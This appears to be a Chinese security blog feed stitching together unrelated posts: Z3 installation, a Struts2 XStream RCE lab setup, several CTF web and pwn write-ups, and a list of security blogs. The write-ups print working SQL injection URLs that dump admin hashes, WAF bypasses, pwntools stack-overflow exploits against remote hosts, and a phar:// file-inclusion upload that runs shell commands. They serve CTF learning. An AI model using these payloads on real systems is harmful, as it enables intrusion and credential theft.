由于在 Windows 环境下需要用到 Visual Studio Command Prompt 来 build Z3 ,所以需要安装 Visual Studio(或者直接安装 nmake ),我使用的是 Visual Studio 2017 ,直接在开始菜单中找到 VS2017 的文件夹,下拉可以找到 x64 Native Tools Command Prompt for VS 2017
从 github 上 clone Z3
git clone https://github.com/Z3Prover/z3.git
打开 x64 Native Tools Command Prompt for VS 2017 ,命令行中进入 Z3 文件夹,执行命令:
python scripts/mk_make.py -x --pythoncd buildnmake
经过漫长的等待,当看到
Z3 was successfully built."Z3Py scripts can already be executed in the 'build\python' directory.""Z3Py scripts stored in arbitrary directories can be executed if the 'build\python' directory is added to the PYTHONPATH environment variable and the 'build' directory is added to the PATH environment variable.
就说明安装成功了。
我的电脑->右键->属性->高级系统设置->环境变量,如果没有 PYTHONPATH 需要自行创建,在 python 命令行界面输入:
import os print(os.sys.path)
可以看到当前的 PYTHONPATH ,将其加入环境变量,并把Z3文件夹下的 build\python 文件夹也加入 PYTHONPATH 。
测试一下,在 python 命令行下:
from z3 import *x = Int('x')y = Int('y')solve(x > 2, y < 10, x + 2*y == 7)
一般会看到结果:
[y = 0, x = 7]
说明配置成功。
]]>https://zhuanlan.zhihu.com/p/30548907
https://github.com/Z3Prover/z3
公告上说漏洞出现在struts2的rest插件,使用了XStream实例和XStreamHandler类未经过滤直接调用反序列化函数导致的RCE。
先定位到XStreamHandler类,找到了反序列化函数toObject,这个函数未做任何过滤直接调用了Xtream类的fromXML函数,可以将XML数据反序列化为Object:
根据调用关系,定位到ContentTypeInterceptor类的intercept函数,可以看到当后端收到请求时,会判断请求类型,如果是XML类型并且content-length大于0,则调用toObject方法将XML数据反序列化:
安装java8:
add-apt-repository ppa:webupd8team/javaapt-get updateapt-get install oracle-java8-installer
下载tomcat并解压,拷贝到/opt/tomcat下:
wget http://mirrors.hust.edu.cn/apache/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gzcp -R apache-tomcat-7.0.81 /opt/tomcat
下载struts2存在漏洞的版本(这里是2.5.12)并解压:
wget http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zipunzip struts-2.5.12-apps.zip
将struts2-showcase.war和strusts2-rest-showcase.war拷贝到/opt/tomcat/webapps/下:
cp struts-2.5.12/apps/struts2-showcase.war /opt/tomcat/webapps/cp struts-2.5.12/apps/struts2-rest-showcase.war /opt/tomcat/webapps/
启动tomcat:
cd /opt/tomcat/bin./startup.sh
访问http://your-ip:8080/struts2-rest-showcase 即可
发送恶意XML数据,反弹shell:
<meta charset="utf-8"><?phperror_reporting(0);if (empty($_GET['b'])) { show_source(__FILE__); die();}else{ include('flag.php');$a = "www.XMAN.com";$b = $_GET['b'];@parse_str($b);if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) { echo $flag;}else{exit('你的答案不对0.0');}}?>
php弱类型,变量覆盖
URL双编码
class FileClass{ public $filename = 'error.log'; public function __toString(){ return file_get_contents($this->filename); }}
php反序列化
$a = new FileClass();$a->filename = 'flag.php';echo serialize($a);
O:9:”FileClass”:1:{s:8:”filename”;s:8:”flag.php”;}
这个真的是web题吗。。。随便找个irc客户端。。。
http://challenges.xctf.org.cn:8004/index.php~
<?php$a=0;$b=0;$c=0;if (isset($_GET['aaa'])){ $aaa = $_GET['aaa']; $aaa=="1"?die("Emmm..."):NULL; switch ($aaa) { case 0: case 1: $a=1; break; }}$bbb=(array)json_decode(@$_GET['bbb']);if(is_array($bbb)){ is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL; if(@$bbb["ccc"]){ ($bbb["ccc"]>2017)?$b=1:NULL; } if(is_array(@$bbb["ddd"])){ if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm..."); $eee = array_search("XMAN", $bbb["ddd"]); $eee===false?die("Emmm..."):NULL; foreach($bbb["ddd"] as $key=>$val){ $val==="XMAN"?die("Emmm..."):NULL; } $c=1;}}if($a && $b && $c){ include "flag.php"; echo $flag;}?>
几个点:aaa:switch没加break,当然弱类型也可以,ccc:加空格绕过is_numeric,ddd:array_search弱类型比较
aaa=&bbb={“ccc”:”2018 “,”ddd”:[[],0]}
http://challenges.xctf.org.cn:7775/README.md
http://blog.csdn.net/hitwangpeng/article/details/45602187
sql盲注
1 | # -*- coding:utf-8 -*- |
.htaccess上传绕过
不过好像有很多搅屎的
1 | from flask import Flask |
修改CTFd/models.py文件后,执行python manage.py db migrate -m “the filename you want to use” ,会在CTFd/migrations/versions文件夹中创建一个新的py文件,检查里面的数据库操作,执行python manage.py db upgrade 会更新数据库。
]]>def get_smtp(host, port, username=None, password=None, TLS=None, SSL=None):smtp = smtplib.SMTP(host, port)smtp.ehlo()if TLS: smtp.starttls() smtp.ehlo()smtp.login(username, password)return smtp
使用了smtplib.SMTP类,但是如果邮件服务器使用了SSL,则需要使用smtplib.SMTP_SSL类:
def get_smtp(host, port, username=None, password=None, TLS=None, SSL=None):if SSL: smtp = smtplib.SMTP_SSL(host, port) smtp.ehlo()elif TLS: smtp = smtplib.SMTP(host, port) smtp.ehlo() smtp.starttls() smtp.ehlo()smtp.login(username, password)return smtp
]]>php代码执行
我的方法:print_r(scandir(‘./‘))列文件,file_put_contents(“121.php”,”<?php include ‘flag.php’; echo $flag;?>”),用bp的intruder维持121.php的文件内容(智商太低)
其他方法:print_r(glob(‘./f*’))列文件,show_source读文件内容
抓包可以看到select count(*) from t_info where username = 'aaa' or nickname = 'aaa'
发现.svn泄漏
审计一波,关键点在:
if(isset($_SESSION['hat'])){if($_SESSION['hat']=='green'){output("<img src='green-hat-1.jpg'>",10);}else{output("<img src='black-fedora.jpg'>",1);echo $flag;}
在login.php中设置session:
if (isset($_POST["name"])){
$name = str_replace(“‘“, “”, trim(waf($_POST[“name”])));
if (strlen($name) > 11){
echo(“<script>alert(‘name too long’)</script>”);
}else{
$sql = “select count(*) from t_info where username = ‘$name’ or nickname = ‘$name’”;
echo $sql;
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if ($row[0]){
$_SESSION[‘hat’] = ‘black’;
echo ‘good job’;
}else{
$_SESSION[‘hat’] = ‘green’;
}
header(“Location: index.php”);
}
}
其中有这么一句话:$name = str_replace("'", "", trim(waf($_POST["name"])));
意味着addslashes转义后的单引号会被吃掉,可以利用这个将sql语句中原本的单引号吃掉
payload:select count(*) from t_info where username = 'or(1=1)#\' or nickname = 'or(1=1)#\'
余弦 http://evilcos.me/
独自等待 https://www.waitalone.cn/
phithon https://www.leavesongs.com
Sec-News http://wiki.ioin.in/
冷夜 http://le4f.net/
bigtang http://bigtang.org/
md5_salt http://5alt.me/
Flanker https://blog.flanker017.me/
quininerhttps://quininer.github.io/
Mathias http://www.math1as.com/
wilson http://blog.wils0n.cn/
Silver https://blog.iret.xyz/
Virink https://www.virzz.com/
Ricky https://rickyhao.com/
几何 http://blog.7ell.me/
王松_striker http://www.hackersb.cn/
AppLeU0 http://appleu0.sinaapp.com/
0h1in9e https://www.ohlinge.cn/
Tr3jer_CongRong http://www.thinkings.org/
Nearg1e http://blog.neargle.com/
Veneno http://www.venenof.com/
virusdefender https://virusdefender.net/
火日攻天 http://www.firesun.me/
Melody http://www.melodia.pw/
乐清小俊杰 http://www.yqxiaojunjie.com/
猫哥 http://blog.cal1.cn
albertchang http://blog.albertchang.cn
画船 https://blog.nuptzj.cn/
bendawanghttp://bendawang.site/
LoRexxar http://lorexxar.cn/
Aklis http://aklis.info/
RicterZ https://ricterz.me/
muhe http://o0xmuhe.me/
lemon http://www.cnblogs.com/iamstudy/
Cheery http://www.cheery.win
Hcamael http://0x48.pw/
精灵 https://www.hackfun.org/
redrain http://hackdog.me/
凤凰 https://blog.phoenixlzx.com/
Jason https://www.deamwork.com/
lightless https://lightless.me/
zh_explorer http://libc.pw/
陌小生 http://www.xmsec.cc/
JoyChou http://joychou.org
angelwhu http://www.angelwhu.com/blog/
泉哥 http://riusksk.me/
安全小飞侠 http://avfisher.win
李劼杰 http://www.lijiejie.com/
无所不能的魂大人 http://woldy.net/
江sir http://www.blogsir.com.cn/
swing http://bestwing.me/
Jarvis https://www.jarviswang.me/
Orange http://blog.orange.tw/
Cizel http://www.cizel.cn/
Atum http://gcli.cn/
0xJDchen http://www.cnblogs.com/0xJDchen/
tennc https://tennc.github.io/
Rocky http://rockyrays.me/
Anciety http://anciety.cn
Tomato https://bl4ck.in/
Tomyxy http://www.tomyxy.com
BrieflyX http://brieflyx.me/
RootKiter http://rootkiter.com
berTrAM http://www.bertramc.cn
WinterSun https://winter3un.github.io/
EvilChurch https://evilchurch.cc/
小西 http://momomoxiaoxi.com/
该隐 http://ecma.io/
Seay http://www.cnseay.com/
廖新喜 http://xxlegend.com/
雨了个雨 http://www.yulegeyu.com/
Ox9A82 http://www.cnblogs.com/Ox9A82/
k0shl http://whereisk0shl.top/
fate0 http://blog.fatezero.org
luan http://lu4n.com/
聂心明 http://blog.csdn.net/niexinming
Firmy https://firmianay.github.io/
sploitfun https://sploitfun.wordpress.com/
他是鹿 http://blog.th3s3v3n.xyz
虫虫之家 http://ijz.me
evi1m0 http://rm-rf.gg/
WeaponX http://weaponx.site
ADog’s Blog-信息安全博客 http://foreversong.cn/
麦香师傅 http://mxny.org/
邪恶十六进制 http://www.evil0x.com/
三叶草安全小组 http://blog.sycsec.com/
破晓团队 http://www.secbug.org
西电信息安全协会 https://www.xdsec.club/
L-Team http://l-team.org/
绿盟科技博客 http://blog.nsfocus.net/
蓝莲花 http://www.blue-lotus.net/
0ops http://www.0ops.net/
Dragon Sector http://blog.dragonsector.pl/
PPP http://pwning.net/
长亭科技 https://blog.chaitin.cn/
腾讯科恩实验室 http://keenlab.tencent.com/zh/index.html
腾讯玄武实验室 http://xlab.tencent.com/cn/
Project Zero https://googleprojectzero.blogspot.com/
杭电信安协会 http://hduisa.org/
kap0k http://www.kap0k.com/
胖哈勃博客 https://blog.pwnhub.cn/
seebug http://paper.seebug.org/
这次线下各种手忙脚乱。。。
不过个人觉得最大的失误就是D了西电大佬的服务器,导致之后西电大佬一直追着我们打。。大佬我错了。。。
]]>brainfuck
.git泄漏
106.75.67.7:3080/.git/
提示是后台密码2017年某一天。。。直接20170505进去了。。。尴尬
通过一篇文章http://0day5.com/archives/1146/知道这个cms存在sql注入
查数据库名:
http://106.75.96.7:3089/shoppingcart.php?a=addshopingcart&typeid=10&goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,SCHEMA_NAME,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from information_schema.SCHEMATA limit 0,1 --+or @`'` &buynum=1&attrid_1=%E9%BB%91%E8%89%B2&attrid_2=WCDMA
查表名:
http://106.75.96.7:3089/shoppingcart.php?a=addshopingcart&typeid=10&goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,TABLE_NAME,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from information_schema.TABLES where TABLE_SCHEMA=0x7068706d7977696e645f6462 limit 0,1 --+or @`'` &buynum=1&attrid_1=%E9%BB%91%E8%89%B2&attrid_2=WCDMA
查列名:
http://106.75.96.7:3089/shoppingcart.php?a=addshopingcart&typeid=10&goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,COLUMN_NAME,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from information_schema.COLUMNS where TABLE_NAME=0x706d775f61646d696e limit 0,1 --+or @`'` &buynum=1&attrid_1=%E9%BB%91%E8%89%B2&attrid_2=WCDMA
查admin的帐号密码的hash:
http://106.75.96.7:3089/shoppingcart.php?a=addshopingcart&typeid=10&goodsid=1 and @`'` /*!50000union*/ select null,null,null,null,null,null,null,null,null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from pmw_admin limit 0,1 --+or @`'` &buynum=1&attrid_1=%E9%BB%91%E8%89%B2&attrid_2=WCDMA
登录后台在在模版文件那里可以看到flag文件
http://106.75.117.4:3083/index.php~ ,存在备份文件源码泄露:
<?phperror_reporting(0);$token="e00cf25ad42683b3df678c61f42c6bda";foreach($_GET as $key=>$value){ if (is_array($value)){ die("Bad input!"); } $p="and|union|where|join|sleep|benchmark|if|sleep|benchmark|,| |\'|\""; if(preg_match("/".$p."/is",$value)==1){ die("inj code!"); }}parse_str($_SERVER['QUERY_STRING']);if($token==md5("admin")){ $link=@mysql_connect("XXXX","XXXX","XXXX"); mysql_select_db("XXXX",$link); $sql="select * from user where userid = ".$userid; $query = mysql_query($sql); if (mysql_num_rows($query) == 1) { $arr = mysql_fetch_array($query); if($arr['password'] == $password) { $sql="select * from info where infoid=".$infoid; $result=mysql_query($sql); $arr = mysql_fetch_array($result); if(empty($arr['content'])){ echo "error sql!"; }else{ echo $arr['content']; } }else{ echo "error password!"; } }else{ echo "error userid!"; } mysql_close($link);}else{ echo "Bad token!";}?><html> <head> <title>web-test</title> </head> <body> <form action="" method="get"> User ID:<input type="text" name="userid" length="50" /><br> Password:<input type="password" name="password" length="50" /><br> <input type="submit" value="submit"/> </form> </body></html>
可以看到需要确定的几个参数为token、password、userid、infoid
token值为:
md5(“admin”)== 21232f297a57a5a743894a0e4a801fc3
尝试userid=1,发现正确
构造payload查password:
http://106.75.117.4:3083/?userid=1%%26%%26ascii(mid(password/**/from/**/%s/**/for/**/1))=%s&password=1&token=21232f297a57a5a743894a0e4a801fc3&infoid=
盲注脚本跑一发
猜测infoid为1,正确
构造payload查flag:
http://106.75.117.4:3083/?userid=1%%26%%26ascii(mid((select/**/flag/**/from/**/flag)/**/from/**/%s/**/for/**/1))=%s&password=219d03ad2d752ad2806ea1de18613158&token=21232f297a57a5a743894a0e4a801fc3&infoid=1
盲注脚本跑一发
简单的栈溢出,构造一个ROP即可
exp
from pwn import *e=ELF('./pwn1_c1d0173e20a08feff046c8433f53fd37')p=remote('106.75.93.221',10000)sys_addr=p32(e.symbols['system'])ret_addr='\x12\x12\x12\x12'payload='A'*52+sys_addr+ret_addr+p32(e.search('sh').next())p.sendline(payload)p.interactive()p.close()
也是简单的栈溢出(只会做栈溢出。。【捂脸】)
但是开了cananry
但显然flag已经被读入了内存。当_stack_check_fail时,会打印出当前程序的名称,只需要用flag地址覆盖argv[0]的地址即可。
exp
from pwn import *e=ELF('./pwnsss_d1b5b1011fc0ef9b3de9cb0ad261295a')p=remote('106.75.93.221',10003)payload='A'*292+p32(0x804a080)p.sendline(payload)p.interactive()p.close()
]]>http://202.120.7.203/index.php?id=1 ,后面加上and 1=1 和and 1=2,返回结果不同,判断注入点在id,用order by 判断字段数为3,直接使用union select会被waf过滤,使用特殊字符截断关键字后能绕过waf。
playload:1
http://202.120.7.203/index.php?id=-1%20un%0bion%20se%0blect%201,flag,3%20fro%0bm%20flag
注册一个新账号,登陆后,infos中说如果你买东西就会有提示,但是钱只有4000,买不了8000的!HINT!,猜测要用条件竞争刷钱。于是把其它商品买了一遍,再看infos,其中有一条“Maybe you will know something when you know if the cat is alive”,商品名是Erwin Schrodinger’s Cat(薛定谔的猫)(这个梗…),猜想应该是这里存在竞争,于是用burpsuite的Intruder开多个线程对Erwin Schrodinger’s Cat进行买卖操作
把钱刷到了8800
买了hint之后,得到提示select flag from ce63e444b0d049e9c899c9a0336b3c59
经过尝试,注入点应该在参数order,构造sql语句
if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%s,1)like(0x5c%s),name,price)
可以绕过waf,盲注脚本打一发:
flag{r4ce_c0ndit0n_i5_excited}
PS. flappypig的dalao的writeup:http://bobao.360.cn/ctf/detail/186.html
]]>2016HCTF应该是我第一场比较认真参加的一场CTF了,由于还是个萌新,啥都不懂,这篇文章就是把当时自己做出来的题的做题思路记录一下(其实早该发了,但是因为我懒【捂脸】),让各位dalao见笑了
官方wp在这→HCTF 2016网络攻防大赛官方Writeup
膜拜杭电各位大佬
http://139.224.54.27/webco1a/+_+.pcapng
用wireshark打开流量包,追踪TCP流,发现是一个webshell的流量,看到webshell控制端查看了远程服务器上的两个关键文件:function.py和flag
1 | cat function.py |
1 | cat flag: |
flag明显是个base64编码后的字符串,将其解码后再用function.py和decrypt函数解密:
运行得到flag:
由ios99想到改user-agent,抓包改一下:
http://jinjia.hctf.io/index.php
打开看到页面下方有提示:
用PUT方法传个参
因为刚接触web,不懂RESTful是什么,查了一下RESTful,发现是一种web软件架构
理解RESTful架构
改个包,flag出来了
下载下来,发现是个.nes的红白机文件,用FcEuX打开,看到了经典的魂斗罗
按照 http://wenku.baidu.com/link?url=1i4slMmKov6LncwLAwa-VmJmAwRwIkgcK-xzls2uOnuJzS7wrsG_mjDdVOVbQzG0Q5p6NmRzcd-vBIbpuWihXEdoiQWs6dsc03aggjzd3Ty 所说的来修改成无限命和不坏金身,打通关就看到了:
http://pics.hctf.io/home.php?key=hduisa123
参考文章http://www.hackdig.com/09/hack-26779.htm
看到文件上传页面 猜测是上传漏洞,页面说明只能上传png文件
尝试了几次后发现验证方式是对content-type验证,为image/png即可,但是上传后的文件会被重新命名并加上.png后缀。
发现允许使用php伪协议:
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=home
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=function
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=show
把源码扒下来,base64解码,
home.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59<?php
error_reporting(0);
@session_start();
posix_setuid(1000);
$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
</ul>
</nav>
<h3 class="text-muted">pictures</h3>
</div>
<div class="jumbotron">
<h1>Pictures Storage</h1>
<p class="lead">在这里上传您的图片,我们将为您保存</p>
<form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
<input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
<br>
<input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
</form>
</div>
</div>
</body>
</html>
<?php
if($fp !== 'fail')
{
if(!(include($fp.'.php')))
{
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit;
}
}
?>
upload.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38<?php
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
{
$name = $_FILES['image']['tmp_name'];
$type = $_FILES['image']['type'];
$size = $_FILES['image']['size'];
if(!is_uploaded_file($name))
{
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}
if($type !== 'image/png')
{
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}
if($size > 10240)
{
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}
$imagekey = create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png");
echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>
show.php1
2
3
4
5
6
7
8
9
10
11
12<?php
$imagekey = $_GET['imagekey'];
if(empty($imagekey))
{
echo "<script>location.href='home.php'</script>";
exit;
}
?>
<div class="alert alert-success" role="alert">
上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a>
</div>
function.php1
2
3
4
5
6<?php
function create_imagekey()
{
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
?>
发现home.php中存在本地文件包含:if(!(include($fp.’.php’)))
,fp参数可控制,然后会在文件名后加一个.php进行文件包含,因此我们可以上传我们需要包含的文件。但是直接包含肯定是不行的,需要构造文件名。
查询PHP手册发现PHP支持如下的Wrappers:
file:// — Accessing local filesystemhttp:// — Accessing HTTP(s) URLsftp:// — Accessing FTP(s) URLsphp:// — Accessing various I/O streamszlib:// — Compression Streamsdata:// — Data (RFC 2397)glob:// — Find pathnames matching patternphar:// — PHP Archivessh2:// — Secure Shell 2rar:// — RARogg:// — Audio streamsexpect:// — Process Interaction Streams
测试phar://可用,将php文件打包在zip文件中,再构造路径访问。
测试发现eval函数被禁用了,因此使用passthru函数执行系统命令。
写一个2.php文件,(这里我做题的时候似乎测试到有GET、POST、REQUEST等字段会被过滤,最后看官方wp是可以用GET的,可能是当时我测的出了点问题)打包在zip压缩包中上传,上传时使用burpsuite的截断功能修改content-type。
查看当前目录下文件:<?php passthru(‘ls –alh’); ?>
上传后访问文件名为24c38706822f22274de3d8faabb5b9601d922d85.png ,访问
http://pics.hctf.io/home.php?fp=phar://uploads/24c38706822f22274de3d8faabb5b9601d922d85.png/2
没什么特别的
查看工作目录<?php passthru(‘pwd’); ?>
查看上层目录<?php echo passthru(‘ls /var/www’);?>
有个php文件,查看一下<?php echo passthru(‘cat /var/www/Th1s_1s_F1a9.php’);?>
查看页面源代码
用神器Stegsolve打开,感觉在RGB0位有点问题,猜测是LSB隐写,分析一下
发现有pk文件头,猜测是个zip压缩包,保存出来,解压,发现提示文件损坏,用winrar自带的工具修复一下,成功了,打开看到一个叫1的文件,010editor打开,发现是个elf文件,继续往下看,成功发现flag
通过这次比赛,学到了很多新姿势,也让我认识到自己到底有多菜,dalao们有多强,再次膜拜各位dalao
]]>